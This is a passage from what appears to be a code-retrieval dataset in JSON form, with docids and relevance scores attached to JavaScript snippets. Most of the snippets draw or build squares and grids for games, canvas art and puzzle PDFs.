Math.floor(numOfAnimals[1]); i++) {\n if(i < Math.floor(numOfAnimals[1])){\n sqr.push(<Square key={i} id={i} lived={unfilled} image={animal} modal={this.updateModal.bind(this)}/>)\n } else {\n // sqr.push(<Square key={i} id={i} lived={unfilled} modal={this.updateModal.bind(this)}/>)\n }\n }\n return sqr\n }", "title": "" }, { "docid": "b33a14c067bc60ac91b9925f52e57d74", "score": "0.5310437", "text": "function drawSquare(cube, square, placement, symbol)\n{\n \n row = [ 0b0, 0b0, 0b0, 0b0 ];\n \n for (var i = 0; i < 4; i++)\n for (var j = 0; j < 5; j++)\n { // aa 0 1\n row[0] = placement + \"0\" + (4-j); //top\n row[1] = placement + j + \"0\"; //left\n row[2] = placement + \"4\" + j; //bottom\n row[3] = placement + (4-j) + \"4\"; //right\n \n if (debug > 4) console.log(row[i]);\n \n if (getBit(square[i], j))\n document.getElementById(row[i]).style.backgroundColor = cube.outerColor;\n else \n document.getElementById(row[i]).style.backgroundColor = \"white\";\n }\n \n for (var k = 1; k < 4; k++)\n for (var l = 1; l < 4; l++)\n {\n field = placement+k+l;\n \n document.getElementById(placement+k+l).style.backgroundColor = cube.innerColor;\n } \n \n document.getElementById(placement+\"22\").innerHTML = symbol;\n \n //printBitSquare(square); \n //console.log(\"fillHtmlSquare()\");\n //printBitSquare(square);\n}", "title": "" }, { "docid": "4c73a14da4324905920bc3152a16e8ab", "score": "0.52597016", "text": "function drawSquare(size) {\n var square = \"\";\n for (var i = 1; i <= size; i++) {\n for (var j = 1; j <= size; j++) {\n if (i === 1 || i === size || j === 1 || j === size) {\n square += \"* \";\n } else {\n square += \" \";\n }\n\n }\n square += \"\\n\";\n }\n\n return square;\n}", "title": "" }, { "docid": "43a67c7996cac2ae5c32f73ceb7eefbd", "score": "0.52546155", "text": "function makeBox(width, height) {\n var minus = width - 1\n var star = \"*\";\n var empty = '';\n var empty2= empty.split('');\n var blank = []\n var myStr = '';\n var height2 = height - 3\n \n for(var x = 0; x < width; x++){\n myStr += star;\n }\n \n \n var splitArray = myStr.split('');\n var spliced = splitArray.splice(1, 2);\n for(var j = 2; j < width; j++){\n spliced.splice(1, 0, \" \")\n \n }\n var joinedSpace = spliced.join('');\n\n var finalEmpty = '';\n for(var z = 0; z <= width; z++){\n if( z == 0 || z == width){\n finalEmpty += myStr + '\\n';\n } else if (height == 1){\n return myStr\n } else if(height == 1 && width == 1){\n return '*'\n }\n if(height > 2 && z <= height2){\n finalEmpty += joinedSpace + '\\n';\n } else if(height == 1 && width == 1){\n return '*'\n } \n }\n \n var splitArray = finalEmpty.split('');\n splitArray.pop();\n finalEmpty = splitArray.join('');\n \n if(width === '' || width === 0){\n return '';\n } else{\n return finalEmpty\n }\n \n}", "title": "" }, { "docid": "33ea2b4997471500acc79b7d65b99bb1", "score": "0.5250372", "text": "function fillSquares(number) {\n cells[activeTetrimono.cellAPosition + number].classList.add('square-full', activeTetrimono.color)\n cells[activeTetrimono.cellBPosition + number].classList.add('square-full', activeTetrimono.color)\n cells[activeTetrimono.cellCPosition + number].classList.add('square-full', activeTetrimono.color)\n cells[activeTetrimono.cellDPosition + number].classList.add('square-full', activeTetrimono.color)\n }", "title": "" }, { "docid": "5a5d2f806a1869fe3d2463790171b4b3", "score": "0.5237946", "text": "function makeSquare(){\n\telements = $('.js-square');\n\t\n\tif (elements !== null){\n\t\n\t\tArray.prototype.forEach.call(elements, function(el, i){\n\t\t\tel.style.height = el.offsetWidth+'px';\n\t\t});\n\t}\n}", "title": "" }, { "docid": "c926c627067dacbc022f6e7c4175ddf5", "score": "0.5231911", "text": "function letteringSquare(x,y,dimension,initial){\n var initial = initial.toUpperCase();\n p.push();\n p.fill(255);\n p.rect(x,y,dimension,dimension);\n p.fill(0)\n p.rect(x+w,y+w,dimension-w*2,dimension-w*2);\n p.fill(255);\n p.rect(x+w*2,y+w*2,dimension-w*4,dimension-w*4);\n p.fill(0);\n p.rect(x+w*2.5,y+w*2.5,dimension-w*5,dimension-w*5);\n p.fill(255)\n if (initial !== 'LOGO') {\n p.textSize(w*2);\n p.textFont(ps2p);\n p.textAlign(p.CENTER, p.CENTER);\n p.text(' '+initial, x+w/8, y+w/8, dimension, dimension);\n p.pop()\n } else {\n p.textSize(w*1.33);\n p.textFont(ps2p);\n p.textAlign(p.LEFT, p.TOP);\n p.text('U/', x+w*2.5+w/6, y+w*2.5+w/6, dimension-w*5, dimension-w*5);\n p.text('A', x+w*2.5+w/6, y+w*2.5+w*1.33+w/6, dimension-w*5, dimension-w*5);\n }\n }", "title": "" }, { "docid": "4dfe77033fab490d025ed3e9ce8e5e58", "score": "0.5227331", "text": "function printSquare(size) {\n\tlet s = \"\", i = 0, j = 0;\n\tfor (let i = 0; i < size; i++) {\n\t\ts = s + \"*\";\n\t}\n\tfor (j; j < size; j++) {\n\t\tconsole.log(j + \": \" + s);\n\t}\n}", "title": "" }, { "docid": "2c2f3147fbadae287ef5933ae88ec51f", "score": "0.5205961", "text": "function makeSquare(num) {\n var star = \"*\";\n var empty = '';\n var myStr = '';\n for(var i = 0; i < num; i++){\n empty += star; \n }\n for(var x = 0; x < num; x++){\n myStr += empty + '\\n'\n }\n\n var splitArray = myStr.split('');\n splitArray.pop();\n myStr = splitArray.join('');\n \n\n if(num === '' || num === 0){\n return '';\n } else if(num ===1){\n return '*'\n } else {\n return myStr;\n }\n}", "title": "" }, { "docid": "c5d0cbf461ec195e8962c08bd359112c", "score": "0.5204223", "text": "function makeSquares() {\n squareSize = sizeArray[j];\n //squareSize = sizeArray[j];\n for (let x = 0; x < width; x += squareSize) {\n for (let y = 0; y < height; y += squareSize) {\n fill(int(random(200, 255)), 0, int(random(100, 150)));\n rect(x, y, squareSize, squareSize);\n }\n }\n}", "title": "" }, { "docid": "fe03bff1788817b2988750cf2a140e72", "score": "0.5187335", "text": "function square(width) {\n forward(width);\nleft(90);\nforward(width);\nleft(90);\nforward(width);\nleft(90);\nforward(width);\n\n }", "title": "" }, { "docid": "f31f36cfa60680863852398eb8fd73f7", "score": "0.51867765", "text": "function generateForm(){\n var formArr = [[],[],[]]; //This array will determine the form of our haiku\n\n formArr[0][0] = Math.floor(Math.random() * 5) + 1;\n if (formArr[0][0] !=5){\n formArr[0][1] = 5 - formArr[0][0];\n }\n \n formArr[1][0] = Math.floor(Math.random() * 7 + 1);\n if (formArr[1][0] != 7){\n formArr[1][1] = Math.floor(Math.random() * (7-formArr[1][0]) + 1);\n\n if (formArr[1][0] + formArr[1][1] !=7){\n formArr[1][2] = 7 - (formArr[1][0] + formArr[1][1]);\n }\n }\n \n formArr[2][0] = Math.floor(Math.random() * 5) + 1;\n if (formArr[2][0] !=5){\n formArr[2][1] = 5 - formArr[2][0];\n }\n generateHaikuPlus(sylArr, formArr);\n}", "title": "" }, { "docid": "57a3a6a2bc3ecb6ad04ec1c0bc606371", "score": "0.5185796", "text": "function PHSK_MagLineCalc() {\n\t//counter to avoid centerpiece\n\tlet l = 0;\n\tfor (let i = 0; i < 26; i++) {\n\t\t\t\n\t\tif(i == 13)\n\t\t\tl+=1;\n\t\t\n\t\tlet anchorPos = new Vec3 ( - 4.5 + (4.5 * (l%3)) , - 4.5 + (4.5 * (Math.floor(l/3)%3)) , - 4.5 + (4.5 * (Math.floor(l/9)%3)));\n\t\tl+=1;\n\t\t//if(i%2 ==1)\n\t\t//\tcontinue\n\n\t\tmaglines[i][magLineNumber/2] = anchorPos;\n\t\t\n\t\tfor (let j =(magLineNumber/2 -1); j >= 0; j--) {\n\t\t\tlet bfeld = new Vec3(0.0,0.0,0.0);\n\t\t\tlet bfeldSum= new Vec3(0.0,0.0,0.0);\n\t\t\tfor (let k = 1; k < wireLength; k++) {\n\t\t\t\tbfeld = PHSK_BFeld(GMTR_VectorsToLineSeg(wire[k - 1], wire[k]),maglines[i][j + 1]);\n\t\t\t\tbfeldSum = GMTR_VectorAddition(bfeldSum, bfeld);\n\t\t\t}\n\t\t\tmaglines[i][j] = GMTR_VectorAddition(maglines[i][j + 1], GMTR_ChangeSize(bfeldSum, magLineStep));\n\t\t}\n\t\tfor (let j = (magLineNumber/2 +1); j < magLineNumber; j++) {\n\t\t\tlet bfeld = new Vec3(0.0,0.0,0.0);\n\t\t\tlet bfeldSum= new Vec3(0.0,0.0,0.0);\n\t\t\tfor (let k = 1; k < wireLength; k++) {\n\t\t\t\tbfeld = PHSK_BFeld(GMTR_VectorsToLineSeg(wire[k - 1], wire[k]), maglines[i][j - 1]);\n\t\t\t\tbfeldSum = GMTR_VectorAddition(bfeldSum, bfeld);\n\t\t\t}\n\t\t\tmaglines[i][j] = GMTR_VectorAddition(maglines[i][j - 1], GMTR_ChangeSize(bfeldSum, -magLineStep));\n\t\t}\n\t}\n\t\t\n\treturn 0;\n}", "title": "" }, { "docid": "62124d9a34e8356dc6b23773af74bd3a", "score": "0.51845914", "text": "function generateSquare() {\n\n /* Crear el Cuadrado */\n var plane = (random() > 0.5);\n\t// true = randomize x-axis & keep y-axis constant\n\t// false = randomize y-axis & keep x-axis constant\n\n\t/* solo permite que los cuadrados se reproduzcan en los bordes */\n var x = (plane) ? random(width) : ((random() > 0.5) ? 0 : width);\n var y = (plane) ? ((random() > 0.5) ? 0 : height) : random(height);\n\n return new Square(x, y, random(35), randomColor(), player.position, difficulty);\n}", "title": "" }, { "docid": "8c60e3da2178509b7020248174a18d1e", "score": "0.517679", "text": "function printSquare(size) {\n\n\n var row = \"\";\n for (var i = 0; i < size; i++) {\n row += \"*\";\n }\n for(var j = 0; j < size; j++){\n console.log(row);\n }\n }", "title": "" }, { "docid": "322813ebc837f22432d0d63df2e0a252", "score": "0.5173248", "text": "function square(gen, blX, blY, trX, trY) {\n // make center and missing corners\n let cX = 0.5 * (blX + trX);\n let cY = 0.5 * (blY + trY);\n const dX = trX - cX;\n const dY = trY - cY;\n const brX = cX + dY;\n const brY = cY - dX;\n const tlX = cX - dY;\n const tlY = cY + dX;\n if (output.isInCanvas(blX, blY, brX, brY, trX, trY, tlX, tlY)) {\n if (gen >= tiling.maxGen) {\n tiles.quarterSquare(true, tiling.squareUpperImage, tlX, tlY, trX, trY, brX, brY, blX, blY);\n squareAreas.add(blX, blY, brX, brY, trX, trY, tlX, tlY);\n } else {\n gen += 1;\n // substitution: determine \"right\" and \"up\" directions. Vectorlength=side length of new tiles\n // 0.732050808 = 2 / (1 + rt3);\n const upX = 0.732050808 * (tlX - blX);\n const upY = 0.732050808 * (tlY - blY);\n const rightX = upY;\n const rightY = -upX;\n cX = brX + 0.5 * (upX - rightX);\n cY = brY + 0.5 * (upY - rightY);\n square(gen, brX, brY, cX, cY);\n triangleB(gen, brX + 0.5 * upX, brY + 0.5 * upY, cX, cY, trX, trY);\n triangleB(gen, brX - 0.5 * rightX, brY - 0.5 * rightY, cX, cY, blX, blY);\n cX = tlX - 0.5 * (upX - rightX);\n cY = tlY - 0.5 * (upY - rightY);\n square(gen, tlX, tlY, cX, cY);\n triangleB(gen, tlX + 0.5 * rightX, tlY + 0.5 * rightY, cX, cY, trX, trY);\n triangleB(gen, tlX - 0.5 * upX, tlY - 0.5 * upY, cX, cY, blX, blY);\n rhomb(gen, blX, blY, trX, trY);\n }\n }\n}", "title": "" }, { "docid": "8a359668c9d1c371484d11bc58bb717c", "score": "0.5164999", "text": "function make_squares(arr) {\n // TODO: Write code here\n}", "title": "" }, { "docid": "743bec6e72d25184b7d4d1a3d88ca3af", "score": "0.5164903", "text": "magSq () {\n return this.x * this.x + this.y * this.y;\n }", "title": "" }, { "docid": "1a67a64a4833d5ac8aedd9bddd76e27a", "score": "0.5158427", "text": "generatorFuntion() {\n // z ** 2\n this.result.square()\n\n // + c\n this.result = this.coord.add(this.result)\n\n // |f(z)|\n this.result.absolute()\n }", "title": "" }, { "docid": "80410e556f6f8510da9a325d1042c57e", "score": "0.5146709", "text": "function draw_square(doc, x1, y1, cell_size, number, letter, filled, circle, color, bar, top_right_number) {\n // thank you https://stackoverflow.com/a/5624139\n function hexToRgb(hex) {\n // Expand shorthand form (e.g. \"03F\") to full form (e.g. \"0033FF\")\n var shorthandRegex = /^#?([a-f\\d])([a-f\\d])([a-f\\d])$/i;\n hex = hex.replace(shorthandRegex, function(m, r, g, b) {\n return r + r + g + g + b + b;\n });\n\n\n var result = /^#?([a-f\\d]{2})([a-f\\d]{2})([a-f\\d]{2})$/i.exec(hex);\n return result ? {\n r: parseInt(result[1], 16),\n g: parseInt(result[2], 16),\n b: parseInt(result[3], 16)\n } : null;\n }\n\n var MIN_NUMBER_SIZE = 5.5;\n\n var filled_string = (filled ? 'F' : '');\n var number_offset = cell_size / 20;\n var number_size = cell_size/3.5 < MIN_NUMBER_SIZE ? MIN_NUMBER_SIZE : cell_size/3.5;\n //var letter_size = cell_size/1.5;\n var letter_pct_down = 4 / 5;\n if (color) {\n var filled_string = 'F';\n var rgb = hexToRgb(color);\n doc.setFillColor(rgb.r, rgb.g, rgb.b);\n doc.setDrawColor(options.gray.toString());\n // Draw one filled square and then one unfilled\n doc.rect(x1, y1, cell_size, cell_size, filled_string);\n doc.rect(x1, y1, cell_size, cell_size, '');\n } else {\n doc.setFillColor(grid_options.gray.toString());\n doc.setDrawColor(options.gray.toString());\n doc.rect(x1,y1,cell_size,cell_size,'');\n doc.rect(x1, y1, cell_size, cell_size, filled_string);\n }\n\n //numbers\n if (!number) {\n number = '';\n }\n doc.setFontSize(number_size);\n doc.text(x1 + number_offset, y1 + number_size, number);\n //top right numbers\n if (!top_right_number) {\n top_right_number = '';\n }\n doc.setFontSize(number_size);\n doc.text(x1 + cell_size - number_size, y1 + number_size, top_right_number);\n\n\n // letters\n if (!letter) {\n letter = '';\n }\n var letter_length = letter.length;\n //doc.setFontSize(letter_size);\n doc.setFontSize(cell_size / (1.5 + 0.5 * letter_length));\n doc.text(x1 + cell_size / 2, y1 + cell_size * letter_pct_down, letter, null, null, 'center');\n // circles\n if (circle) {\n doc.circle(x1 + cell_size / 2, y1 + cell_size / 2, cell_size / 2);\n }\n // bars\n if (bar) {\n var bar_start = {\n top: [x1, y1],\n left: [x1, y1],\n right: [x1 + cell_size, y1 + cell_size],\n bottom: [x1 + cell_size, y1 + cell_size]\n };\n var bar_end = {\n top: [x1 + cell_size, y1],\n left: [x1, y1 + cell_size],\n right: [x1 + cell_size, y1],\n bottom: [x1, y1 + cell_size]\n };\n for (var key in bar) {\n if (bar.hasOwnProperty(key)) {\n if (bar[key]) {\n doc.setLineWidth(options.bar_width);\n doc.line(bar_start[key][0], bar_start[key][1], bar_end[key][0], bar_end[key][1]);\n doc.setLineWidth(options.line_width);\n }\n }\n }\n }\n\n }", "title": "" }, { "docid": "dce20f968b12a709d134741fae31f340", "score": "0.5144709", "text": "static square(size, location, fill, ctx = Util.background) {\n Util.rect(size, size, location, fill, ctx);\n }", "title": "" }, { "docid": "ac7dc57a09754db8341312041bf97c90", "score": "0.51369673", "text": "apply(mutableBoardData, cloneSquare){\n \n\n return 0;\n \n }", "title": "" }, { "docid": "61a8468fdc9b046cba4e1fd79fc64b1b", "score": "0.51332235", "text": "function makeSquare(a, b) {\n var star = \"*\",\n var space = \" \",\n var newLine = \"\\n\",\n var result = \"\";\n function makeTopAndBottom(a) {\n var string = \"\";\n for (var j = 0; j < a; j++) {\n string += star;\n }\n return string;\n }\n\n function makeMiddle(a) {\n var string = \"\";\n for (var k = 0; k < a; k++) {\n if (k === 0 || k === a - 1) {\n string += star;\n } else {\n string += space;\n }\n }\n return string;\n }\n\n for (var i = 0; i < b; i++) {\n if (i === 0 || i === b - 1) {\n result += makeTopAndBottom(a);\n result += newLine;\n } else {\n result += makeMiddle(a);\n result += newLine;\n }\n }\n return result;\n}", "title": "" }, { "docid": "c47a08d340d7ff1dcc140b622ab0dd87", "score": "0.51004803", "text": "function analyzeSquare() {\n\t\tif (safeToMove(this)) {\n\t\t\tmoveSquare(this);\n\t\t}\n\t}", "title": "" }, { "docid": "d599ef5873dde39a87842143a1a6eb41", "score": "0.50943434", "text": "resParamToSquare (x, y, size) {\n return {'x': x, 'y': this.bounds.rect.h - y, 'w': size, 'h': size};;\n }", "title": "" }, { "docid": "3f55f9b43c647a7eaed330f03b3d9c0f", "score": "0.5091211", "text": "function buildStarmap(w,h){\t\t\n\tdrawStars(w,h,starmapScale)\n\tdrawFluxLines(starmapScale)\n\tdrawCursor(-100,-100)\n\tvar screenXY = convertSFCoordsToScreenCoords(game.coordX,game.coordY,starmapScale)\n\tyouAreHere.x=screenXY.x\n\tyouAreHere.y=screenXY.y\n\tyouAreHere.regX = 50\n\tyouAreHere.regY = 70\n\tyouAreHere.rotation = ship.orientation\n\tvar labelY=5,\n\t\tvalY=35,\n\t\texitButton = drawButton({x:windowWidth-150,y:5,label:'EXIT STARMAP',width:130,onClick:handleExitStarmapClick}),\n\t\tinfoSectionWidth = (windowWidth/4),\n\t\tinfoSectionTextAlign = 'right',\n\t\tposition = returnText('position',20,blue),\n\t\tdestination = returnText('destination',20,blue),\n\t\tdistance = returnText('distance',20,blue),\n\t\tfuel = returnText('fuel',20,blue),\n\t\tstarmapUI = new Container(),\n\t\tstarmapUIbg = new Shape()\n\n\tposition.x=infoSectionWidth-(infoSectionWidth/2)\n\tposition.y=5\n\tposition.textAlign='center'\n\tpositionVal.text = Math.floor(game.coordX)+'x'+Math.floor(game.coordY)\n\tpositionVal.x=infoSectionWidth-(infoSectionWidth/2)\n\tpositionVal.y=valY\n\tpositionVal.textAlign='center'\n\t\n\tdestination.x=infoSectionWidth*2-(infoSectionWidth/2)\n\tdestination.y=5\n\tdestination.textAlign='center'\n\tdestinationVal.x=infoSectionWidth*2-(infoSectionWidth/2)\n\tdestinationVal.y=valY\n\tdestinationVal.textAlign='center'\n\t\n\tdistance.x=infoSectionWidth*3-(infoSectionWidth/2)\n\tdistance.y=5\n\tdistance.textAlign='center'\n\tdistanceVal.x=infoSectionWidth*3-(infoSectionWidth/2)\n\tdistanceVal.y=valY\n\tdistanceVal.textAlign='center'\n\t\n\tfuel.x=infoSectionWidth*4-(infoSectionWidth/2)\n\tfuel.y=5\n\tfuel.textAlign='center'\n\tfuelVal.x=infoSectionWidth*4-(infoSectionWidth/2)\n\tfuelVal.y=valY\n\tfuelVal.textAlign='center'\t\n\t\n\tstarmapUI.removeAllChildren()\n\tstarmapUI.x=5\n\tstarmapUI.y=windowHeight-85\n\t\n\tstarmapUIbg.graphics.beginFill('black').dr(0,0,windowWidth-20,105)\n\tstarmapUI.addChild(position,destination,distance,fuel,positionVal,destinationVal,distanceVal,fuelVal)\n\t\n\t// var dimensions = new Shape()\n\t// dimensions.graphics.beginStroke(blue).ss(3)\n\t// \t.mt(20,0).lt(20,windowHeight).lt(windowWidth,windowHeight)\t\t\t\t\n\t\n\tstarmapContainer.addChild(starsContainer,starmapUI,exitButton,starmapCoordsContainer,cursor,youAreHere)\n\tstarsContainer.addEventListener('click',handleStarmapClick)\n}", "title": "" }, { "docid": "4493751f7f38f67f78bcc7261c60bd62", "score": "0.5080243", "text": "function emojiSquare(square) {\n var lineCount = 0;\n var thumbSquare = \"\";\n while (lineCount < square) {\n lineCount += 1;\n for (i = 0; i < square; i++) {\n thumbSquare = thumbSquare + thumb;\n }\n thumbSquare = thumbSquare + \"<br>\";\n }\n return thumbSquare;\n}", "title": "" }, { "docid": "178b22adb746f7cf7cfae5855ac3094f", "score": "0.50757957", "text": "function Sqr(loc, sidelength, color){\n// Add instance variables to your constructor Function\n//What does a square need to know about itself??\nthis.loc = loc;\nthis.w = sidelength;\nthis.clr = color;\n this.render = function(){\n fill(this.clr);\n rect(this.loc.x, this.loc.y, this.w, this.w);\n\n }\n\n}// End of Square constructor function", "title": "" }, { "docid": "85a1185bfe5014cba1d612e5bee78d1e", "score": "0.50625736", "text": "function randomSquare(sz) {\n\n // don't let the square be too gigantic\n var limit = parseInt(sz/4);\n\n // side length\n this.size = parseInt(Math.random() * limit);\n\n // position\n this.x = parseInt(Math.random() * (sz + 40)) - 40;\n this.y = parseInt(Math.random() * (sz + 40)) - 40;\n\n // alpha\n this.a = Math.random()*0.8;\n\n // rgb\n this.r = parseInt(Math.random()*255);\n this.g = parseInt(Math.random()*255);\n this.b = parseInt(Math.random()*255);\n\n // string for fillStyle\n this.rgba = 'rgba('+this.r+','+this.g+','+this.b+','+this.a+')';\n}", "title": "" }, { "docid": "520b5dbbb4e33dc497bf21670ef805a2", "score": "0.5061554", "text": "isSquare() {\n if (this.length === this.width) {\n console.log(\"True: this is square\")\n return;\n } else {\n console.log(\"False: This is not square\")\n return;\n }\n }", "title": "" }, { "docid": "c53434819f78eacc33bb4fadf10e7be4", "score": "0.50454754", "text": "drawsqr() {\n stroke(51)\n //Use map to convert 0 or 1 into 0 or 255 respectively \n fill(map(this.state, 0, 1, 0, 255))\n square(this.x, this.y, this.sidelength)\n }", "title": "" }, { "docid": "afdf2a4011fa374d23e72be5d73d84ad", "score": "0.50430614", "text": "function square1(size) {\n var star = ''\n for (var i = 1; i <= size; i++) {\n for (var j = 1; j <= size; j++) {\n if (i === 1 || i === size || j === 1 || j === size) {\n star += '*';\n } else (star += ' ');\n } star += ' '\n star += '\\n'\n } console.log(star);\n}", "title": "" }, { "docid": "02735dd827d38e013451d8d590f4f13e", "score": "0.5036381", "text": "function genKeysquare(keysquare)\r\n\t{\r\n\t\tdocument.getElementById(\"AA\").value=keysquare.charAt(0);\r\n\t\tdocument.getElementById(\"AD\").value=keysquare.charAt(1);\r\n\t\tdocument.getElementById(\"AF\").value=keysquare.charAt(2);\r\n\t\tdocument.getElementById(\"AG\").value=keysquare.charAt(3);\r\n\t\tdocument.getElementById(\"AX\").value=keysquare.charAt(4);\r\n\r\n\t\tdocument.getElementById(\"DA\").value=keysquare.charAt(5);\r\n\t\tdocument.getElementById(\"DD\").value=keysquare.charAt(6);\r\n\t\tdocument.getElementById(\"DF\").value=keysquare.charAt(7);\r\n\t\tdocument.getElementById(\"DG\").value=keysquare.charAt(8);\r\n\t\tdocument.getElementById(\"DX\").value=keysquare.charAt(9);\r\n\r\n\t\tdocument.getElementById(\"FA\").value=keysquare.charAt(10);\r\n\t\tdocument.getElementById(\"FD\").value=keysquare.charAt(11);\r\n\t\tdocument.getElementById(\"FF\").value=keysquare.charAt(12);\r\n\t\tdocument.getElementById(\"FG\").value=keysquare.charAt(13);\r\n\t\tdocument.getElementById(\"FX\").value=keysquare.charAt(14);\r\n\r\n\t\tdocument.getElementById(\"GA\").value=keysquare.charAt(15);\r\n\t\tdocument.getElementById(\"GD\").value=keysquare.charAt(16);\r\n\t\tdocument.getElementById(\"GF\").value=keysquare.charAt(17);\r\n\t\tdocument.getElementById(\"GG\").value=keysquare.charAt(18);\r\n\t\tdocument.getElementById(\"GX\").value=keysquare.charAt(19);\r\n\r\n\t\tdocument.getElementById(\"XA\").value=keysquare.charAt(20);\r\n\t\tdocument.getElementById(\"XD\").value=keysquare.charAt(21);\r\n\t\tdocument.getElementById(\"XF\").value=keysquare.charAt(22);\r\n\t\tdocument.getElementById(\"XG\").value=keysquare.charAt(23);\r\n\t\tdocument.getElementById(\"XX\").value=keysquare.charAt(24);\r\n\t\tdocument.getElementById(\"mymatrix\").value=keysquare;\r\n\t\tdocument.getElementById('mymatrix').className = 'ctoformcss-txtinput-style ctoformcss-adfgx-matrix-input-size';\r\n\t}", "title": "" }, { "docid": "7925d5c9c848c59113bb3ea9e5be6b5d", "score": "0.5031189", "text": "function memoryFill() {\n var width = memoryCanvas.width;\n var height = memoryCanvas.height;\n var numberSquares = videosEdited;\n for (var j=0; j<3; j++){\n let squaresHeight = 10+50*j+30;\n if (numberSquares>0 && squaresHeight<height) {\n for ( var i=0; i < 20; i++) {\n let squaresWidth = 10+40*i+30;\n if (numberSquares>0 && squaresWidth<width) {\n drawSquare(10+40*i,10+50*j,30,30);\n numberSquares -= 1;\n }\n }\n }\n }\n}", "title": "" }, { "docid": "e733c4a42c3fa626600ef0675aa12ff1", "score": "0.50299734", "text": "function cubify_answer() {\n\tg_word_stripped = find_and_tidy_selected();\n//\tconsole.log('cubify_answer()'+'word_stripped='+g_word_stripped);\n//\tconsole.log('number='+g_HTU_number);\nvar\tcube = mini_cubes[g_HTU_number];\n//\tconsole.log('cube='+cube);\n//\tconsole.log('cube.direction_A ,_B, _C ='+cube.direction_A+','+cube.direction_B+','+cube.direction_C);\n//\tconsole.log('g_word_stripped ='+g_word_stripped);\n\t/*NOBBLE */\n\t\t//return;\n\tif (cube.direction_A == 'A') {\n//\t\tconsole.log('put_..('+g_word_stripped+','+g_HTU_number+')');\n\t\t/*work out next sequence based on word space */\n\t\tg_word_cube_HTU = find_word_HTU(g_HTU_number , 'A');\n\t\tif(g_word_cube_HTU[0] < 0) {\n\t\t\talert('Error HTU '+g_HTU_number+' not found in list');\n\t\t}\n\t\tput_answer_in_direction_A(g_word_stripped, g_HTU_number);\t\n\t}\n\tif (cube.direction_B == 'B') {\n\t\tconsole.log('put_..('+g_word_stripped+','+g_HTU_number+')');\n\t\t/*work out next sequence based on word space */\n\t\tg_word_cube_HTU = find_word_HTU(g_HTU_number , 'A');\n\t\t//put_answer_in_direction(g_word_stripped, 'A', direction);\t\n/*\t\tif(g_word_cube_HTU[0] < 0) {\n\t\t\talert('Error HTU '+in_HTU+' not found in list');\n\t\t}\n\t\t*/\n\t\tput_answer_in_direction_B(g_word_stripped, g_HTU_number);\t\n\t}\n\tif (cube.direction_C == 'C') {\n\t\tconsole.log('put_..('+g_word_stripped+','+g_HTU_number+')');\n\t\t/*work out next sequence based on word space */\n\t\tg_word_cube_HTU = find_word_HTU(g_HTU_number , 'C');\n\t\t//put_answer_in_direction(g_word_stripped, 'A', direction);\t\n\t\tif(g_word_cube_HTU[0] < 0) {\n\t\t\talert('Error HTU '+in_HTU+' not found in list');\n\t\t}\n\t\tput_answer_in_direction_C(g_word_stripped, g_HTU_number);\t\n\t}\n\t\n}", "title": "" }, { "docid": "38e6d5ea10783c482c48ba1d7cedc170", "score": "0.5028018", "text": "function displayShape() {\n // remove any trace of a tetromino from mini-grid\n displaySquares.forEach(square => {\n square.classList.remove('tetromino');\n square.style.backgroundColor = '';\n });\n // draw new upcoming tetromino on mini-grid\n upNextTetrominoes[nextRandom].forEach(index => {\n displaySquares[displayIndex + index].classList.add('tetromino');\n displaySquares[displayIndex + index].style.backgroundColor = colors[nextRandom];\n });\n }", "title": "" }, { "docid": "a4073b4985e91ce274ae9b88e785e81c", "score": "0.5025008", "text": "function makeSquare() {\n container.style.width = '350px';\n container.style.height = '350px';\n container.style.borderRadius = '0%';\n title.textContent = 'SQUARE'\n}", "title": "" }, { "docid": "dfc153ae46d8d52259e025d066433ee6", "score": "0.5024922", "text": "function MakeSquare(left,top,fill,width,height) {\n var rect = new fabric.Rect({\n left: (left ? left : self.DropDefault_X),\n top: (top ? top : self.DropDefault_Y),\n fill: (fill ? fill : self.CurrentSelectedColour),\n width: (width ? width : 50),\n height: (height ? height : 50),\n lockScalingX: true,\n lockScalingY: true,\n lockRotation: true\n });\n AddShapeToCanvas(rect);\n }", "title": "" }, { "docid": "fa8e89699087d2ee3245e9ac62ad7211", "score": "0.50248015", "text": "function displayGizmo(size) {\n var a = size\n var b = size / 20\n var o = a * 0.5\n push()\n translate(o, 0, 0)\n ambientMaterial(255, 0, 0)\n box(a, b, b)\n pop()\n push()\n translate(0, o, 0)\n ambientMaterial(0, 255, 0)\n box(b, a, b)\n pop()\n push()\n translate(0, 0, o)\n ambientMaterial(0, 0, 255)\n box(b, b, a)\n pop()\n}", "title": "" }, { "docid": "c290ed9cd50b9ea1d7dae2a4e7707905", "score": "0.5024739", "text": "function displayShape() {\n\t\t// clear mini-grid of any previous shape displayed\n\t\tdisplaySquares.forEach((square) => {\n\t\t\tsquare.classList.remove('shapeBlock');\n\t\t});\n\t\tupNextShapes[nextRandom].forEach((index) => {\n\t\t\tdisplaySquares[displayIndex + index].classList.add('shapeBlock');\n\t\t});\n\t}", "title": "" }, { "docid": "4629c1312255d586c9fcb5b6c28a0252", "score": "0.50240076", "text": "updateSquares() {\n if(this.squareProps.length !== this.squares.length) {\n const diff = this.squareProps.length - this.squares.length;\n if(diff > 0) {\n for (let i = 0; i < diff; i++) {\n let newSquareInstance = this.baseSquare.createInstance(\"\" + i);\n this.squares.push(newSquareInstance);\n }\n } else {\n while(this.squares.length > this.squareProps.length) {\n const inst = this.squares[this.squares.length - 1];\n inst.dispose();\n this.squares.pop();\n }\n }\n }\n for (let i = 0; i < this.squareProps.length; i++) {\n const props = this.squareProps[i];\n const square = this.squares[i];\n square.position.x = props.x;\n square.position.y = -props.y;\n square.scaling.x = props.w;\n square.scaling.y = props.h;\n }\n\n this.scene.executeWhenReady(() => {\n this.scene.render();\n })\n }", "title": "" }, { "docid": "d2d370aba9f2ba862cf7242832b44a09", "score": "0.5018678", "text": "function square() {\n currentInput = currentInput * currentInput;\n displayCurrentInput();\n}", "title": "" }, { "docid": "d0212cf92962323f9f827f67a7cf9a65", "score": "0.50114185", "text": "setBoard(rows, cols, pieces, special_square){\n $(\"#simulator\").empty()\n while (pieces.includes('/')){pieces = pieces.replace('/', '')}\n for (let i = 0; i < rows; i++){\n let row = '<div>'\n for (let j = 0; j < cols; j++){\n let space_class = \"spot\"\n let img_src = \"<img id='piece' src='./css/\"\n i%2 === j%2 ? space_class += \" light\" : space_class += \" dark\"\n if (special_square) { if (special_square['row'] === i+1 && special_square['col'] === j+1) { space_class += \" special\" } }\n if (pieces[i*cols+j] !== 'e'){\n img_src += pieces[i*cols+j].toUpperCase() === pieces[i*cols+j] ? 'B' : 'W'\n img_src += (pieces[i*cols+j].toUpperCase()+\".png'></img>\")\n } else {\n img_src = \"<span id='piece'></span>\"\n }\n row += 